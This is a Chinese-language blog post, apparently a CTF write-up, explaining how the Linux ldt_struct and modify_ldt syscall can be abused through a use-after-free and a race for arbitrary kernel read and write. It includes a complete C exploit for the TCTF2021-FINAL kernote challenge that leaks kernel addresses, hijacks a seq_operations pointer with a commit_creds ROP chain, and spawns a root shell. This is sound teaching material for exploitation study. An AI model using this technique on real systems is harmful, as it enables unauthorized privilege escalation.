利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

ldt_struct与modify_ldt系统调用的介绍

ldt_struct

ldt局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和ldt有关的结构体是ldt_struct

struct ldt_struct {     /*      * Xen requires page-aligned LDTs with special permissions.  This is      * needed to prevent us from installing evil descriptors such as      * call gates.  On native, we could merge the ldt_struct and LDT      * allocations, but it's not worth trying to optimize.      */     struct desc_struct    *entries;     unsigned int        nr_entries;      /*      * If PTI is in use, then the entries array is not mapped while we're      * in user mode.  The whole array will be aliased at the addressed      * given by ldt_slot_va(slot).  We use two slots so that we can allocate      * and map, and enable a new LDT without invalidating the mapping      * of an older, still-in-use LDT.      *      * slot will be -1 if this LDT doesn't have an alias mapping.      */     int            slot; }; 

这个结构体的大小仅有0x10,前8字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前8字节的entries指针指向desc_struct结构体,即段描述符,定义如下:

/* 8 byte segment descriptor */ struct desc_struct {     u16    limit0;     u16    base0;     u16    base1: 8, type: 4, s: 1, dpl: 2, p: 1;     u16    limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8; } __attribute__((packed)); 

modify_ldt系统调用

modify_ldt这个系统调用,是提供给我们用来获取或修改当前进程的LDT用的。我们看调用modify_ldt的几个用法,源码如下:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,         unsigned long , bytecount) {     int ret = -ENOSYS;      switch (func) {     case 0:         ret = read_ldt(ptr, bytecount);         break;     case 1:         ret = write_ldt(ptr, bytecount, 1);         break;     case 2:         ret = read_default_ldt(ptr, bytecount);         break;     case 0x11:         ret = write_ldt(ptr, bytecount, 0);         break;     }     /*      * The SYSCALL_DEFINE() macros give us an 'unsigned long'      * return type, but tht ABI for sys_modify_ldt() expects      * 'int'.  This cast gives us an int-sized value in %rax      * for the return code.  The 'unsigned' is necessary so      * the compiler does not try to sign-extend the negative      * return codes into the high half of the register when      * taking the value from int->long.      */     return (unsigned int)ret; } 

我们除了系统调用号外传入的三个参数是func,ptr,bytecount,其中ptr指针指向的是user_desc结构体。这个结构体如下:

struct user_desc {     unsigned int  entry_number;     unsigned int  base_addr;     unsigned int  limit;     unsigned int  seg_32bit:1;     unsigned int  contents:2;     unsigned int  read_exec_only:1;     unsigned int  limit_in_pages:1;     unsigned int  seg_not_present:1;     unsigned int  useable:1; }; 

任意地址读

利用的函数是ldt_read,其关键源码如下:

static int read_ldt(void __user *ptr, unsigned long bytecount) { //...     if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {         retval = -EFAULT;         goto out_unlock;     } //... out_unlock:     up_read(&mm->context.ldt_usr_sem);     return retval; } 

这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制entries,那么我们就可以实现任意地址读。

如何控制entries?我们看write_ldt的源码可以看到调用alloc_ldt_struct为新的ldt_struct开辟了空间。

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode) {     //...      old_ldt       = mm->context.ldt;     old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;     new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);      error = -ENOMEM;     new_ldt = alloc_ldt_struct(new_nr_entries);     if (!new_ldt)         goto out_unlock;     //...     return error; } 

再看alloc_ldt_struct的源码,调用了kamlloc去分配新空间。

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries) {     struct ldt_struct *new_ldt;     unsigned int alloc_size;      if (num_entries > LDT_ENTRIES)         return NULL;      new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL); //... 

我们就可以想到通过UAF去控制ldt_struct,修改entries即可读取想要的数据。

任意地址写

利用的函数是write_ldt,其关键源码如下:

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode) {     //...      old_ldt       = mm->context.ldt;     old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;     new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);      error = -ENOMEM;     new_ldt = alloc_ldt_struct(new_nr_entries);     if (!new_ldt)         goto out_unlock;      if (old_ldt)         memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);      new_ldt->entries[ldt_info.entry_number] = ldt;      //... } 

我们可以看到拷贝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE),我们再看一下LDT_ENTRY_SIZE的定义

/* Maximum number of LDT entries supported. */ #define LDT_ENTRIES    8192 /* The size of each LDT entry. */ #define LDT_ENTRY_SIZE    8 

可以看出拷贝的量非常大。并且在拷贝结束之后有new_ldt->entries[ldt_info.entry_number] = ldt;这样一行代码。那我们就可以通过条件竞争的方式去改变new_ldt->entries,从而实现任意地址写。

例题:TCTF2021-FINAL-kernote

exp

#define _GNU_SOURCE #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/wait.h> #include <asm/ldt.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <ctype.h>   int fd; size_t kernel_offset; size_t kernel_base; int seq_fd; int ret; size_t page_offset_base = 0xffff888000000000; size_t init_cred; size_t prepare_kernel_cred; size_t commit_creds; size_t pop_rdi_ret; size_t swapgs_restore_regs_and_return_to_usermode;  void ErrExit(char* err_msg) { 	puts(err_msg); 	exit(-1); }  void set(int index) {     ioctl(fd, 0x6666, index); }  void add(int index) {     ioctl(fd, 0x6667, index); }  void delete(int index) {     ioctl(fd, 0x6668, index); }  void edit(size_t data) {     ioctl(fd, 0x6669, data); }  int main() { 	struct user_desc desc; 	int pipe_fd[2] = {0}; 	size_t temp; 	size_t *buf; 	size_t search_addr; 	 	printf("33[34m33[1m[*] Start exploit33[0mn");  	fd = open("/dev/kernote", O_RDWR); 	if(fd<0) 		ErrExit("[-] open kernote error"); 	/* 	struct user_desc { 	unsigned int  entry_number; 	unsigned int  base_addr; 	unsigned int  limit; 	unsigned int  seg_32bit:1; 	unsigned int  contents:2; 	unsigned int  read_exec_only:1; 	unsigned int  limit_in_pages:1; 	unsigned int  seg_not_present:1; 	unsigned int  useable:1; 	}; 	*/  	desc.entry_number = 0x8000 / 8; 	desc.base_addr = 0xff0000; 	desc.limit = 0; 	desc.seg_32bit = 0; 	desc.contents = 0; 	desc.read_exec_only = 0; 	desc.limit_in_pages = 0; 	desc.seg_not_present = 0; 	desc.useable = 0; 	desc.lm = 0;  	add(0); 	set(0); 	delete(0); 	 	syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); 	while(1) 	{ 		edit(page_offset_base); 		ret = syscall(SYS_modify_ldt, 0, &temp, 8); 		if(ret >= 0) 			break; 		page_offset_base+= 0x4000000; 	} 	printf("33[32m33[1m[+] Find page_offset_base=> 33[0m0x%lxn", page_offset_base); 	 	pipe(pipe_fd); 	buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); 	search_addr = page_offset_base; 	while(1) 	{ 		edit(search_addr); 		ret = fork(); 		if(!ret) 		{ 			syscall(SYS_modify_ldt, 0, buf, 0x8000); 			for(int i=0; i<0x1000; i++) 				if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40) 				{ 					kernel_base = buf[i] - 0x40; 					kernel_offset = kernel_base - 0xffffffff81000000; 				} 			 			write(pipe_fd[1], &kernel_base, 8); 			exit(0); 		} 		 		wait(NULL); 		read(pipe_fd[0], &kernel_base, 8); 		if(kernel_base) 			break; 		search_addr+= 0x8000; 	}  	kernel_offset = kernel_base - 0xffffffff81000000; 	printf("33[32m33[1m[+] Find kernel base=> 33[0m0x%lxn", kernel_base); 	printf("33[32m33[1m[+] Kernel offset=> 33[0m0x%lxn", kernel_offset);  	add(1); 	set(1); 	delete(1); 	 	seq_fd = open("/proc/self/stat", O_RDONLY); 	if(seq_fd<0) 		ErrExit("[-] open seq error"); 	 	edit(0xffffffff817c21a6 + kernel_offset);  	init_cred = 0xffffffff8266b780 + kernel_offset; 	prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset; 	commit_creds = 0xffffffff810c9dd0 + kernel_offset; 	pop_rdi_ret = 0xffffffff81075c4c + kernel_offset; 	swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset;  	__asm__( 	"mov r15,   0xbeefdead;" 	"mov r14,   0x11111111;" 	"mov r13,   pop_rdi_ret;" // start at there 	"mov r12,   init_cred;" 	"mov rbp,   commit_creds;" 	"mov rbx,   swapgs_restore_regs_and_return_to_usermode;" 	"mov r11,   0x66666666;" 	"mov r10,   0x77777777;" 	"mov r9,    0x88888888;" 	"mov r8,    0x99999999;" 	"xor rax,   rax;" 	"mov rcx,   0xaaaaaaaa;" 	"mov rdx,   8;" 	"mov rsi,   rsp;" 	"mov rdi,   seq_fd;" 	"syscall" 	);  	system("/bin/sh"); 	return 0; }  

发表评论

评论已关闭。

相关文章